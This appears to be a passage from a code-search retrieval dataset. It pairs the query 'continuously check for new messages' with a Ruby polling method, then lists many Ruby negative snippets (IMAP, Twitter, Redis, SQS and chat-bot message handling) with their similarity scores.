message['text']\n end\n end", "def request(msg)\n print(msg)\n gets.chomp\n end" ]
[ "0.7225044", "0.7199825", "0.6954037", "0.6942442", "0.6876826", "0.67744446", "0.67415965", "0.67309004", "0.66017187", "0.65542436", "0.6535531", "0.6520582", "0.6502092", "0.6465553", "0.6398707", "0.6371925", "0.6359698", "0.6359251", "0.635706", "0.62967694", "0.62733346", "0.62562007", "0.62514305", "0.6241318", "0.6233045", "0.6221755", "0.6218872", "0.6193024", "0.61790097", "0.6133758", "0.6120725", "0.60882026", "0.6082715", "0.60253525", "0.602201", "0.60050166", "0.5990718", "0.5987581", "0.5979053", "0.5970208", "0.59478015", "0.59066844", "0.5905905", "0.5868472", "0.585863", "0.58538276", "0.58408934", "0.58406913", "0.5839471", "0.5832521", "0.5822209", "0.58125794", "0.5812305", "0.57742625", "0.57722837", "0.5769375", "0.5761603", "0.5756976", "0.5756925", "0.57471925", "0.5743184", "0.57327825", "0.57291186", "0.57112455", "0.5710163", "0.57084787", "0.5705909", "0.5703717", "0.56993914", "0.5698685", "0.56950516", "0.56862146", "0.5683462", "0.56456184", "0.56434065", "0.5629349", "0.5623143", "0.5620678", "0.5606932", "0.5597065", "0.55934215", "0.55894065", "0.5585443", "0.556598", "0.5563435", "0.5563084", "0.55585515", "0.5552793", "0.55376077", "0.5522823", "0.55216455", "0.55133027", "0.5512416", "0.5511837", "0.550857", "0.55068254", "0.5506016", "0.5505438", "0.5503826", "0.5490917" ]
0.56900465
71
continuously check for new messages
def start() unread = notifications()['UnreadMessage'].to_i @thread = Thread.new do loop do unread_messages = notifications()['UnreadMessage'].to_i if unread_messages > unread then @callback.call if @callback unread = unread_messages end sleep 3 end end 'checking for new message every 3 seconds ...' end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def poll!\n find_and_process_next_available(messages)\n end", "def check_for_new_messages\n messages = twitter.direct_messages(:since_id => last_message_retrieved)\n @num_messages = messages.length\n end", "def work(message)\n if message.is_a?(Message)\n self.count = count + 1\n\n Concurrent::IVar.new(:ok)\n else\n expected_messages_received?\n end\n end", "def sync_new(mailbox)\n # Skip any mailbox with attributes in ignore_attr\n return if ! (mailbox.attr & @@ignore_attr).empty?\n return if !@running\n\n name = Net::IMAP.decode_utf7(mailbox.name)\n cache = @mailboxes[name] || Mailbox.new(name)\n\n puts \"Examining mailbox #{name}\"\n\n begin\n @imap.examine(mailbox.name)\n rescue => e\n puts \"Failed to examine mailbox: #{e}\"\n return\n end\n\n uidvalidity = @imap.responses[\"UIDVALIDITY\"][-1]\n uidnext = @imap.responses[\"UIDNEXT\"][-1]\n\n if cache.uidvalidity != uidvalidity\n puts \"UIDVALIDITY differ, rescaning all mailbox\"\n ids = @imap.search([\"NOT\", \"DELETED\"])\n else\n if (cache.uidmax + 1 == uidnext)\n puts \"No new messages\"\n return\n end\n puts \"UIDVALIDITY match, get new messages only\"\n ids = ((cache.uidmax + 1) .. uidnext).to_a\n end\n\n puts \"; got #{ids.size} messages\"\n\n while(!(block = ids.shift(@@buf_size)).empty?)\n\n break if ! @running\n puts \"; requesting messages #{block.first}..#{block.last} from server\"\n\n msgs = @imap.fetch((block.first..block.last), [\"UID\", \"X-GM-MSGID\", \"X-GM-THRID\", \"X-GM-LABELS\", \"FLAGS\", \"RFC822\"])\n\n if ! msgs\n puts msgs\n next\n end\n\n msgs.each { |msg|\n break if ! @running\n\n body = msg.attr[\"RFC822\"]\n body.force_encoding(\"binary\") if body.respond_to?(:force_encoding) \n body.gsub(\"\\r\\n\", \"\\n\")\n\n labels = msg.attr[\"X-GM-LABELS\"].push(name).collect { |label| Net::IMAP.decode_utf7(label.to_s) }\n\n state = msg.attr[\"FLAGS\"].collect { |flag| flag.to_s.downcase.to_sym }\n puts state\n\n begin\n response = RestClient.post \"http://localhost:8042/message.json\", \n { :body => body, :labels => labels, :state => state, :mailbox => name },\n { :content_type => :json, :accept => :json}\n rescue RestClient::ResourceNotFound => e\n puts \"Warning: resource not found\"\n next\n rescue => e\n puts \"Failed to communicate with heliotrope : #{e.class}\"\n @running = false\n break\n end\n\n puts response \n response = JSON.parse(response)\n\n if response[\"response\"] == \"ok\"\n if response[\"status\"] == \"seen\"\n cache.num_seen += 1\n else\n cache.num_indexed += 1\n end\n else\n cache.num_bad += 1\n puts \"Error for message: \" + response[\"error_message\"]\n end\n\n cache.uidmax = [cache.uidmax || 0, msg.attr[\"UID\"]].max\n }\n end\n\n puts \"Store mailbox #{name} cache\"\n cache.uidnext = uidnext\n cache.uidvalidity = uidvalidity\n @mailboxes[name] = cache\n save_mailboxes\n end", "def listen\n Thread.new do\n while true\n retrieve_messages\n sleep (0.1)\n end\n end\n end", "def process_messages\n sleep 0.05\nend", "def is_new?(message)\n result = false\n previous_messages = cache_get(message[:station_id])\n if(previous_messages)\n seen_message_before = previous_messages.any? { |m| message[:text] == m[:text] }\n\n if !seen_message_before\n if previous_messages.length > 7\n @logger.debug(\"New message - programme has changed for #{:station_id}\")\n @logger.debug(previous_messages)\n result = true \n else\n @logger.debug(\"Previous_messages.length < 7\")\n end\n end\n end\n result\n end", "def process_privmsg_loop\n while true\n check_privmsg_output if @next_message_time <= Time.now && !@privmsg_buffer.empty?\n\n sleep 0.05\n end\n end", "def verify_redis_messages(mins_ago)\n keys_array = $redis.keys 'publish*'\n keys_array.each do |key|\n message_object = Oj.load($redis.get(key))\n key_time = DateTime.parse(message_object['data']['created_at']).to_i # to epoch timestamp\n time_passed = Time.now.to_i - key_time\n @logger.info { \"[INFO]Time passed for message #{key} is: #{time_passed}\" }\n @message_key = key\n verify_message_stream(key, message_object) unless time_passed < mins_ago * 60\n end\n end", "def watchMail(imap, folder)\n \n # Loop for checking message increase in the folder\n begin\n \n imap.select(folder)\n \n # Get the current folder size\n fsize = imap.status(folder, [\"MESSAGES\"])\n csize = fsize[\"MESSAGES\"]\n \n loop do\n fsize = imap.status(folder, [\"MESSAGES\"])\n if fsize[\"MESSAGES\"] > csize\n message_ids = imap.uid_search(\"ALL\")\n uid = message_ids.last\n email = imap.uid_fetch(uid, \"ENVELOPE\")[0].attr[\"ENVELOPE\"]\n pp \"[#{email.from[0].name}] #{email.subject}\"\n csize = fsize[\"MESSAGES\"]\n else\n sleep(10)\n end\n end\n rescue => e\n exit(1)\n end\nend", "def message_received(&callback)\n if block_given?\n @message_received_callbacks << callback\n else\n @message_received_callbacks.each { |c| c.call }\n if @check_interval > 0\n now = Time.now\n if (now - @last_received) > MIN_RESTART_INACTIVITY_TIMER_INTERVAL\n @last_received = now\n restart_inactivity_timer\n end\n end\n end\n true\n end", "def scan\n @@scanning = true\n if AppVariable.exists?(name: 'latest_message_epoch_time')\n thr = Thread.new do\n GmailReader.read_bank_notices(AppVariable.find(1).value)\n @@scanning = false\n end\n else\n @@scanning = false\n end\n head :no_content\n end", "def check\n # if the server doesn't support us, we just do nothing.\n return unless Config.server.respond_to?(:broadcast_message)\n\n info \"starting email checker loop\"\n\n Thread.new do\n loop do\n debug \"checking email\"\n\n begin\n with_imap do |imap|\n imap.search(['NOT', 'DELETED']).each do |message_id|\n info \"mail found, handling\"\n handle_message_id(imap, message_id)\n end\n end\n\n rescue Exception => ex\n error \"checking email: #{ex}\"\n end\n\n break unless poll_email?\n\n sleep (Config.email['interval'] || 30)\n end\n end\n end", "def process_messages\n\t\t\tloop do\n\t\t\t\tchan, message = @redis_listener.blpop(\"#{PREFIX}.network:#{@network}.messages\", 0)\n\t\t\t\t@log.debug(\"A client sent the message : #{message}\")\n\t\t\t\tmsgid, command, args = parse(message)\n\t\t\t\tunless command\n\t\t\t\t\t@log.warn(\"A client sent an invalid message.\")\n\t\t\t\t\tnext\n\t\t\t\tend\n\t\t\t\tif msgid && @failed_cmds.include?(msgid) # Every daemon tried to contact the multi (blpop act as first waiting, first served)\n\t\t\t\t\tanswer(msgid, false, \"No daemon could contact the multiplexer\")\n\t\t\t\t\tnext\n\t\t\t\tend\n\t\t\t\tans, info = case command\n\t\t\t\t\twhen \"add_sensor\"\n\t\t\t\t\t\tregister_device :sensor, args\n\t\t\t\t\twhen \"add_actuator\"\n\t\t\t\t\t\tregister_device :actuator, args\n\t\t\t\t\twhen \"delete_sensor\"\n\t\t\t\t\t\tunregister_device :sensor, args\n\t\t\t\t\twhen \"delete_actuator\"\n\t\t\t\t\t\tunregister_device :actuator, args\n\t\t\t\t\twhen \"take\"\n\t\t\t\t\t\ttake_callback args\n\t\t\t\t\twhen \"actuator_state\"\n\t\t\t\t\t\tactuator_state_callback args\n\t\t\t\t\telse\n\t\t\t\t\t\t@log.warn(\"A client sent an unknown command : \\\"#{command}\\\"\")\n\t\t\t\t\t\t[false, \"Unknown command \\\"#{command}\\\"\"]\n\t\t\t\tend\n\t\t\t\tcase ans\n\t\t\t\t\twhen true # Success\n\t\t\t\t\t\tanswer(msgid, true)\n\t\t\t\t\twhen false # Failure\n\t\t\t\t\t\tanswer(msgid, false, info)\n\t\t\t\t\telse # Timeout error, transmit to another daemon\n\t\t\t\t\t\tif not msgid\t\t\t # Generate an id only for daemons\n\t\t\t\t\t\t\tmsgid = rand.hash.abs\n\t\t\t\t\t\t\tmessage = \"#{msgid}:#{message}\"\n\t\t\t\t\t\tend\n\t\t\t\t\t\t@failed_cmds.push(msgid).unshift\n\t\t\t\t\t\t#answer(msgid, false, \"wait\") # TODO utile ?\n\t\t\t\t\t\t@redis_listener.lpush(\"#{PREFIX}.network:#@network.messages\", message) #TODO generate with path?\n\t\t\t\tend\n\t\t\tend\n\t\tend", "def polling\n while true do\n publish\n end\n end", "def check_for_duplicate_message_id\n old_mail_log = nil\n user_thread.schedule do\n old_mail_log = user.mail_logs.find_by_message_id(message_id)\n end\n\n if old_mail_log\n Log.librato(:count, \"system.process_uid.duplicate_message_id\", 1)\n return false\n else\n return true\n end\n end", "def new_messages\n kafka_client.fetch.tap do |messages|\n log_message_stats(messages)\n end\n rescue Poseidon::Errors::UnknownTopicOrPartition\n log \"Unknown Topic: #{topic}. Trying again in 1 second.\", :warn\n sleep(1)\n return [] if stopping?\n retry\n rescue Poseidon::Connection::ConnectionFailedError\n log \"Can not connect to Kafka at #{host}:#{port}. Trying again in 1 second.\", :warn\n sleep(1)\n return [] if stopping?\n retry\n end", "def poll_for_messages\n $log.debug \"[twitter] Connecting to twitter...\"\n\n\n # Read state at the current point\n most_recent_tweet = @client.home_timeline[0]\n\n while(@continue_polling) do\n $log.debug \"[twitter] Sleeping #{@config[:poll_rate]}s...\"\n sleep(@config[:poll_rate].to_i)\n\n # Read new tweets\n new_tweets = []\n begin\n if most_recent_tweet\n # TODO: handle backoff a la twitter API\n new_tweets = @client.home_timeline(:since_id => most_recent_tweet.id)\n else\n new_tweets = @client.home_timeline()\n end\n rescue Twitter::Error => te\n $log.error \"Twitter error: #{te}\"\n $log.debug te.backtrace.join(\"\\n\")\n end\n\n $log.debug \"[twitter] Got #{new_tweets.length} new tweets.\"\n\n # Update most recent list\n most_recent_tweet = new_tweets[0] if new_tweets[0]\n\n # Delete tweets from ourself.\n unless @config[:say_own_tweets]\n new_tweets.delete_if{|t| t.user? && t.user.screen_name == @config[:twitter_account_username] }\n end\n\n # Output to bots\n new_tweets[0..(@config[:max_tweets_per_poll].to_i - 1)].each do |tweet|\n str = compose_message(tweet)\n\n @channel_mutex.synchronize{\n @channels.each{|channel, bot|\n bot.say str\n }\n }\n\n end\n\n end\n\n end", "def new_messages_count\n new_messages = self.received_messages.where(:new_message => true)\n if new_messages\n return new_messages.size\n else\n return 0\n end\n end", "def process_msgs\n end", "def feedback_loop(msg)\n\n fbl = msg.parts.find { |x| x.content_type == \"message/feedback-report\" }\n unless fbl.nil?\n\n line = msg.to_s.split(\"\\n\").find { |x| x.start_with?(\"X-Rhombus-Subscriber-UUID:\") }\n unless line.nil?\n uuid = line.split(\":\")[1].strip\n s = EmailSubscriber.find_by(uuid: uuid)\n unless s.nil?\n s.update_attributes(reported_spam: true, last_error: fbl.body.to_s) unless @dry_run\n @logger.info s.email + \" reported spam\"\n return true\n end\n end\n\n end\n\n false\n end", "def check_message_status(messageId)\n begin\n endpoint = \"/restapi/v1.0/account/~/extension/~/message-store/\" + messageId.to_s\n resp = $platform.get(endpoint)\n puts (\"Message status: \" + resp.body['messageStatus'])\n if (resp.body['messageStatus'] == \"Queued\")\n sleep(2)\n check_message_status(resp.body['id'])\n end\n rescue StandardError => e\n puts (e)\n end\nend", "def wait_for_message(msg_url)\n msg_uri = URI.parse(msg_url)\n result = {}\n 20.times do |i|\n sleep 0.2\n res = Net::HTTP.get_response(msg_uri)\n assert_equal(\"200\", res.code)\n result = JSON.parse(res.body)\n next if [\"prep\", \"que\", \"run\"].include? result['state']\n break\n end\n result\n end", "def process_messages\n # Check status for all streams, reopen as necessary\n @streams.each { |_, stream| try { stream.keep_alive } }\n\n # Actual processing of incoming messages happens in event callbacks\n # Oбрабатываем пришедшее сообщение в интерфейсах обратного вызова\n @conn.ProcessMessage2(100)\n end", "def check_for_new_items\n @new_queue.each do |item|\n matches = @previous_queue.select { |match| same_item(item, match) }\n unless matches.any?\n @new_items.push(created_at: item.created_at, service_id: item.service_id, open: true)\n end\n end\n end", "def new_message\n @new_message = false\n @message_num = 0\n @new_requests = Array.new\n if !current_user.nil?\n @current_user_profile = UserProfile.find(current_user.id)\n @user_name = @current_user_profile.username\n # checking if there are importance request message?\n @current_user_profile.items.each do |it|\n it.borrow_requests.each do |req|\n if !req.read_status\n @new_message = true\n @message_num = @message_num + 1\n @new_requests << req.id\n #flash[:notice] = \"You have new requset\"\n elsif req.return_status == 0 && req.borrow_date <= Date.today && req.approval\n @new_message = true\n @message_num = @message_num + 1\n @new_requests << req.id\n #flash[:notice] = \"have items need to be deliverd today\"\n elsif req.return_status == 1\n @new_message = true\n @message_num = @message_num + 1\n @new_requests << req.id\n #flash[:notice] = \"You item returned\"\n end\n end\n end\n @current_user_profile.borrow_requests.each do |req|\n if ((req.approval && req.return_status == 3) || (!req.borrower_read_status))\n @new_message = true\n @message_num = @message_num + 1\n @new_requests << req.id\n #flash[:notice] = \"deliverd check received?\"\n elsif req.return_status == 4 && req.return_date <= Date.today\n @new_message = true\n @message_num = @message_num + 1\n @new_requests << req.id\n #flash[:notice] = \"Return!!!\"\n end\n end\n end\n end", "def wait_for_message\n listen_for_messages\n loop { publish_message(@current_user, gets.strip) }\n end", "def new_message_check\n if(!current_user.nil?)\n ids = Message.where(user_received_id: current_user.id, read: false).pluck(:user_sent_id).uniq\n if ids.count > 0\n ids = Message.where(user_received_id: current_user.id, read: false).pluck(:user_sent_id).uniq\n render text: '{\"unread\":\"true\", \"ids\":[' + ids.join(',') + ']}'\n else\n render text: '{\"unread\":\"false\"}'\n end\n else \n render text: '{\"unread\":\"false\"}'\n end\n end", "def wait_until_all_messages_sent\n @sender.wait_until_all_messages_sent\n end", "def old_messages\r\n self.read_messages\r\n end", "def old_messages\r\n self.read_messages\r\n end", "def check_message_age\n return unless @mode == :max_age\n\n @history_mutex.synchronize do\n @history.each do |key|\n @history[key].delete_if{|entry| Time.now - entry.time > @max_age}\n end\n end\n end", "def run\n loop { sleep 5 while @feeds.alive? }\n end", "def notify\n return if destroy_if_old\n\n increase_busy_counter\n\n create_push\n end", "def check_for_messages\n @message_unviewed = Message.all(:recipient_id => current_user.id, :viewed => false, :opportunity => Opportunity.all(:active => true))\n if @message_unviewed != []\n flash.now[:warning] = 'You have unread messages'\n end\n end", "def buffered_messages; end", "def process_queue\n puts \"Waiting for new messages\"\n th = Thread.new do\n Thread.current.abort_on_exception = true\n loop do\n # This will sit around and wait forever.\n key, raw_msg = @redis_client.blpop(@redis_in_key, 0)\n json_msg = Crack::JSON.parse(raw_msg)\n # Send back a random quote\n random_quote = @quotes[rand(@quotes.size)]\n out_msg = {:from => json_msg['from'], :body => random_quote}.to_json\n # Pusing onto the \"out\" list queues up something for the listener to process\n @redis_client.lpush(@redis_out_key, out_msg)\n end\n end \n end", "def checkTimeout\n\tt = Time.now\n\tret = t.to_i\n\ttimeoutMsgs = operateMsgPool(CHECK_MESSAGE, ret.to_s)\n\ti = 0\n\twhile (i < timeoutMsgs.length)\n\t cm_cmc_msg = timeoutMsgs.at(i) \n\t cmstr = cm_cmc_msg.marshallMsg\n\t @communicator.sendCommand(CM_PORT, cm_cmc_msg.ipaddr, cmstr)\n\t i = i + 1\n\tend\n end", "def check_new_noti\n Settings.Repos.each do |repo|\n notis = @git_client.repository_events(repo.url)\n next if notis.empty?\n\n puts \"New Notification in #{repo.display_name}\"\n\n notis.each do |noti|\n event = launcher.git_client.get(noti.subject.latest_comment_url)\n next unless noti.subject.type == \"PullRequest\"\n message = @message_generator.noti2message repo, noti, event\n ChatWork::Message.create(room_id: repo.chatwork_box, body: message)\n end\n\n launcher.git_client.mark_repo_notifications_as_read(repo.url) if repo.auto_read\n end\n end", "def run()\r\n\t\twhile 0\r\n\t\t\tbegin \r\n\t\t\t\tlog.info 'Connecting to email server...'\r\n\t\t\t\tif @pop.connect() \r\n\t\t\t\t\t#make the db connection\r\n log.info \"Processing #{@pop.message_count} messages...\"\r\n\r\n\t\t\t\t\tActiveRecord::Base.establish_connection(@config[@db_env])\r\n @pop.each_mail do |m| \r\n proc_msg(m)\t\t\t\t\t\t\t\r\n end\r\n\t\t\t\t\tActiveRecord::Base.connection.disconnect!\r\n\r\n\t\t\t\t\t@pop.disconnect()\r\n\t\t\t\t\tlog.info \"Processing complete.\"\r\n\t\t\t\t\tlog.info(\"\")\r\n\t\t\t\telse\r\n\t\t\t\t\tlog.error \"Could not connect to mail server!\\n\"\r\n\t\t\t\t\tlog.info(\"\")\r\n\t\t\t\tend\r\n\t\t\trescue Exception => e\r\n\t\t\t\tlog_exception(e)\r\n\t\t\t\tMessage.send_error_email(\"Error processing an SMS message.\", e)\r\n\t\t\t\t@pop.disconnect()\r\n\t\t\t\tsleep(30)\r\n\t\t\tend\r\n\t\t\tsleep(15)\r\n\t\tend\t\r\n\t\tlog.close\r\n\tend", "def get_messages\n @connection.uid_search(@filter).each do |message|\n puts \"PROCESSING MESSAGE #{message}\"\n body=@connection.uid_fetch(message,\"RFC822\")[0].attr[\"RFC822\"]\n @processor.process(body, @options)\n @connection.uid_copy(message, 'Processed')\n\n @connection.uid_store(message,\"+FLAGS\",[:Deleted])\n end\n @connection.expunge\n #@connection.delete_all\n end", "def on_msg(msg)\n\n puts(fancy_print(msg, @noisy)) if @noisy\n\n return if msg['action'] == 'noop'\n\n @mutex.synchronize do\n\n @seen << msg\n @log << msg\n\n while @log.size > @log_max; @log.shift; end\n while @seen.size > @log_max; @seen.shift; end\n end\n end", "def next_message; end", "def next_message; end", "def fire_triggers(msg)\r\n found = nil\r\n @loaded_triggers.each do |name, trigger|\r\n if trigger.matched?(msg.text) && (Time.now - @last_resp).to_i > Settings::DELAY\r\n @last_resp = Time.now\r\n found = trigger\r\n break\r\n #return say_to_chan(self.chan, trigger.send_response)\r\n end\r\n end\r\n say_to_chan(self.chan, found.send_response) if found\r\n end", "def on_newmessage(time, userid, username, msg)\n end", "def getMessagesFromSQS()\n sqs = Aws::SQS::Client.new\n queue = sqs.create_queue({:queue_name=>@queuename})\n \n poller = Aws::SQS::QueuePoller.new(queue.queue_url)\n poller.poll(idle_timeout: 20) do |msg|\n @queue << msg\n while(true)\n if(@queue.length() < @noOfThreads)\n break\n end\n end\n end\n @run = false\nend", "def low_frequency\n log \"Updating event status\"\n M2mhub::Event.open_or_recently_closed.each(&:update_status!)\n log \"Finished\"\n true\n end", "def check\n # TODO check if should execute this(because of connection exception)\n if valid_check_interval? && Device::Network.connected? == Device::Network::SUCCESS\n if @fiber.alive?\n if (notification = @fiber.resume)\n Notification.execute(NotificationEvent.new(notification))\n end\n else\n if Device::Notification.create_fiber?(true)\n self.close\n @fiber = create_fiber\n end\n end\n @last_check = Time.now\n end\n end", "def atomic_create\n @room.messages_requested.increment do |messages_requested|\n @room.send_message_to_requested_channel(messages_requested)\n if messages_requested <= @room.max_messages\n @room.messages_posted.increment\n @room.send_message_to_posted_channel(@room.messages_posted.value)\n if @message.save\n @room.send_message_to_chat_channel(render_message_to_string)\n render nothing: true\n else\n logger.info @message.errors.inspect\n end\n else\n render nothing: true\n end\n end\n end", "def wait_for_message\r\n Fiber.yield while $game_message.busy?\r\n end", "def chatroom_message(msg, cl, state)\n body = msg.body.to_s\n \n # update room status every MSGS_UNTIL_REFRESH messages\n # Use a countdown and not mod to avoid skips happenning if multiple messages come at once\n if(state[:time_until_list] <= 0)\n respond(msg, cl, \"/list\")\n state[:time_until_list] = MSGS_UNTIL_REFRESH\n else\n state[:time_until_list] -= 1\n end\n\n # redo the /list whenever anybody changes their name or joins the room\n if(/^\\'(.*)\\' is now known as \\'(.*)\\'/.match(body) ||\n /^.* has joined the channel with the alias '.*'/.match(body) )\n out(\"sending /list because of user change\")\n respond(msg, cl, \"/list\")\n return\n end\n \n # handle /list result when it comes in\n if(/^Listing members of '#{ROOM_NAME}'\\n/.match(body))\n out(\"received a room listing.\")\n listing_refresh(state, body)\n return\n end \n \n # messages starting and ending with '_' are emotes \n if body[0].chr == '_' && body[body.length - 1].chr == '_'\n chatroom_emote(msg, cl, state)\n return\n end\n\n # If someone says [word]bomb search for [word] on Google image\n # search and post the first result to the room.\n # eg: pugbomb\n if /\\w+bomb/.match(body)\n q = /(\\w+)bomb/.match(body)[1]\n uri = 'http://www.google.com/search?num=1&hl=en&safe=off&site=imghp&tbm=isch&source=hp&biw=1060&bih=669&q=' + q\n response = Net::HTTP.get_response(URI.parse(uri)) # => #<Net::HTTPOK 200 OK readbody=true>\n arr = response.body.scan(/imgurl=([^&,]+)/)\n if arr.length < 1\n respond(msg, cl, \"No results for \" + q)\n elsif\n respond(msg, cl, arr[0][0])\n end\n end\n\n # getting here means the message was a regular comment from a user\n regular_user_chatroom_message(msg, cl, state)\nend", "def increase_new_chat_notifications\n increment!(:new_chat_notification)\n end", "def connection_completed\n ## start sending KEEP_ALIVE_MESSAGE\n puts 'sending keep_alive sending ...'\n EM::PeriodicTimer.new(KEEP_ALIVE_INTERVAL) { send_data KEEP_ALIVE_MESSAGE }\n end", "def run!(frequency = 0)\n while @jabber.connected?\n @jabber.received_messages do |message|\n start = Time.now\n \n from = message.from.to_s.split('/').first\n parts = message.body.strip.split(':', 2)\n hash = parts.first\n path_parts = parts.last.split('?', 2)\n request = Request.new(hash, from, path_parts.first, ((path_parts.length == 2) ? path_parts.last : ''))\n # TODO: DRY this portion up.\n if @debug\n # Allow errors to fall through and kill the process.\n controller_response = @controller.route!(request)\n response = {:status => 200, :data => ''}.merge(controller_response)\n respond_to request, :status => response[:status], :data => response[:data]\n puts \"Responded to '#{from}' in #{(Time.now - start).to_s} seconds.\"\n else\n # Capture the errors so that the server keeps on running.\n begin\n controller_response = @controller.route!(request)\n response = {:status => 200, :data => ''}.merge(controller_response)\n respond_to request, :status => response[:status], :data => response[:data]\n rescue\n respond_to request, :status => 500\n puts \"Error responding to #{message.from.to_s.strip}:\"\n puts $!\n else\n puts \"Responded to '#{from}' in #{(Time.now - start).to_s} seconds.\"\n end\n end\n #puts \"\\n\"\n end\n if frequency > 0\n # Keep it from hogging up CPU cycles.\n sleep frequency\n end\n end\n end", "def loop_forever\n running = true\n\n while wait_for_connection\n @logger.info(\"New client connected\")\n command, *arguments = next_message.split\n @logger.debug \"#{command} received\"\n response = case command\n when /^track$/i then track(arguments.first)\n when /^list$/i then list\n when /^release$/i then release(arguments.first)\n end\n\n write(response) unless response.nil?\n end\n rescue => e\n @logger.error(\"An error occurred when waiting for new connections!\\n\\t#{e.inspect}\\n\\t#{e.backtrace.join(\"\\n\\t\")}\")\n end", "def run\r\n\r\n #############\r\n # INIT \r\n begin\r\n $ts = Teamspeak::Client.new IP, 10011\r\n $ts.login(LOGIN, PW)\r\n $ts.command('use', port: 10045)\r\n puts 'Connection successful!'\r\n rescue\r\n puts '[ERROR] problem connecting to server!'\r\n raise 'use'\r\n end\r\n begin \r\n bot_id = $ts.command('clientgetids', cluid: 'oszwEVqrBO1dCX89xIK95x6bHXE=')\r\n $ts.command('clientupdate', clid: bot_id['clid'], client_nickname: NAME)\r\n puts 'Clientupdate successful!'\r\n rescue\r\n puts '[ERROR] problem with \\'clientgetids\\' and/or clientupdate!'\r\n raise 'clientupdate'\r\n end\r\n puts 'INIT successful!'\r\n #############\r\n \r\n loop do\r\n puts 'running check...'\r\n check\r\n sleep $sleep_time\r\n \r\n# #$sleep_time = 60 #debug\r\n# puts 'next check in ' + ($sleep_time / 60.0).to_s + 'min.'\r\n# \r\n# #for stopping loop\r\n# for t in 1..($sleep_time / 30)\r\n# ready_fds = select [ $stdin ], [], [], 30\r\n# s = ready_fds.first.first.gets unless ready_fds.nil?\r\n# if s != nil\r\n# #$ts.disconnect\r\n# raise 'exit' if s.chomp == 'exit'\r\n# raise 'inspect' if s.chomp == 'inspect'\r\n# break if s == \"\\n\" \r\n# end\r\n# \r\n# if t%2 == 0 # once every minute\r\n# begin\r\n# $ts.command('whoami')\r\n# print '.'\r\n# rescue\r\n# sleep 5\r\n# begin\r\n# ts.disconnect\r\n# ts.login(LOGIN, PW)\r\n# bot_id = $ts.command('clientgetids', cluid: 'oszwEVqrBO1dCX89xIK95x6bHXE=')\r\n# $ts.command('clientupdate', clid: bot_id['clid'], client_nickname: NAME)\r\n# print 'o'\r\n# rescue\r\n# print 'x'\r\n# end\r\n# end\r\n# end\r\n# end\r\n# puts\r\n end\r\nend", "def check_for_big_messages\n if message_size > user_thread.options[:max_email_size]\n Log.librato(:count, \"system.process_uid.big_message\", 1)\n user_thread.update_user(:last_uid => uid)\n return false\n else\n return true\n end\n end", "def poll\n max = max_interval\n step = interval_step\n interval = min_interval\n\n while !@abort do\n message_count = 0\n message_count += receive_messages || 0\n message_count += receive_replies || 0\n message_count += receive_tweets || 0\n\n interval = message_count > 0 ? min_interval : [interval + step, max].min\n\n log.debug \"Sleeping for #{interval}s\"\n sleep interval\n end\n end", "def run\n log \"Flagging tasty messages\"\n\n message_count = 0\n mailboxes = find_mailboxes\n\n mailboxes.each do |mailbox|\n @mailbox = mailbox\n @imap.select @mailbox\n log \"Selected #{@mailbox}\"\n\n message_count += process_unlearned_flagged\n message_count += process_tasty_unflagged\n message_count += process_bland_flagged\n message_count += process_unlearned\n end\n\n log \"Done. Found #{message_count} messages in #{mailboxes.length} mailboxes\"\n end", "def sync_messages\n Mail.connection do |imap|\n imap.select 'INBOX'\n validity_id = imap.responses[\"UIDVALIDITY\"].last if imap.responses[\"UIDVALIDITY\"]\n if Message.validity.eql? validity_id\n uids = imap.uid_search([\"NOT\", \"DELETED\"]).sort\n local_uids = Message.ids\n if uids != local_uids\n Sidekiq::Logging.logger.info \"*** Syncing Some ***\"\n new_ids = uids - local_uids\n deleted_ids = local_uids - uids\n unless new_ids.blank?\n fetchdata = imap.uid_fetch(new_ids, ['RFC822'])\n fetchdata.each do |rec|\n validity_id = imap.responses[\"UIDVALIDITY\"].last if imap.responses[\"UIDVALIDITY\"]\n msg = Message.new(uid: rec.attr['UID'], validity_id: validity_id, raw_message: rec.attr['RFC822'])\n msg.save\n end\n end\n self.sync_deleted(deleted_ids.map{|id| [validity_id,id].join ':'}) unless deleted_ids.blank?\n end\n else\n self.sync_all\n end\n Message.ids\n end\n end", "def load(number_of_messages)\n loaded_messages = count_loaded_messages\n while loaded_messages < number_of_messages\n message_thread = find_message_thread\n item = check_and_find_first(message_thread, message_thread_elements_css, wait: 5)\n scroll_up_to(item)\n sleep(4)\n return loaded_messages if loaded_messages == count_loaded_messages\n\n loaded_messages = count_loaded_messages\n end\n loaded_messages\n end", "def remember_message_sent\n Discourse.redis.setex(sent_recently_key, @opts[:limit_once_per].try(:to_i) || 86_400, 1) unless @opts[:limit_once_per] == false\n end", "def run_once\n got_lock = @lock.acquire do\n min_committed_id = Redstream.connection_pool.with do |redis|\n offset_key_names = @consumer_names.map do |consumer_name|\n Redstream.offset_key_name(stream_name: @stream_name, consumer_name: consumer_name)\n end\n\n redis.mget(offset_key_names).map(&:to_s).reject(&:empty?).min\n end\n\n return sleep(@interval) unless min_committed_id\n\n loop do\n messages = Redstream.connection_pool.with do |redis|\n redis.xrange(Redstream.stream_key_name(@stream_name), \"-\", min_committed_id, count: 1_000)\n end\n\n return sleep(@interval) if messages.nil? || messages.empty?\n\n Redstream.connection_pool.with { |redis| redis.xdel Redstream.stream_key_name(@stream_name), messages.map(&:first) }\n\n @logger.debug \"Trimmed #{messages.size} messages from #{@stream_name}\"\n end\n end\n\n sleep(5) unless got_lock\n rescue StandardError => e\n @logger.error e\n\n sleep 5\n\n retry\n end", "def wait_for_pending_sends; end", "def wait!\n wait\n raise @error if timeout?\n @messages\n end", "def perform_match message\n return false if reject_not_ack(message)\n return false unless type_match?(message)\n #@notifier.log \"#{identifier}: Looking at #{message.type} #{message.m_id_short}\", level: :collect\n if @block\n status = [@block.call(message)].flatten\n return unless collecting?\n keep message if status.include?(:keep)\n else\n keep message\n end\n end", "def has_message?\n has_message\n # && messages.count > 0\n end", "def perform_loop_step(message)\n puts \"message received: #{message}\"\n @turns_allowed = @turns_allowed -1\n if finished?\n perform_loop_update_for(Event.new(:killed, 'game over'))\n else\n perform_loop_update_for(message)\n end\n end", "def queued_messages?\r\n @pointer < @buffer.length\r\n end", "def monitor_for(options = {})\n # Loop and wait till event is detected.\n lcnt = 0\n scount = 0\n while true\n while line = @rchan.gets\n if yield(line, lcnt)\n return true\n end\n lcnt += 1\n end\n sleep 1\n if fptimer = options[:filepos]\n scount += 1\n if scount >= fptimer\n send \"get\"\n scount = 0\n end\n end\n end\n false\n end", "def checkjira_command(msg)\n begin\n 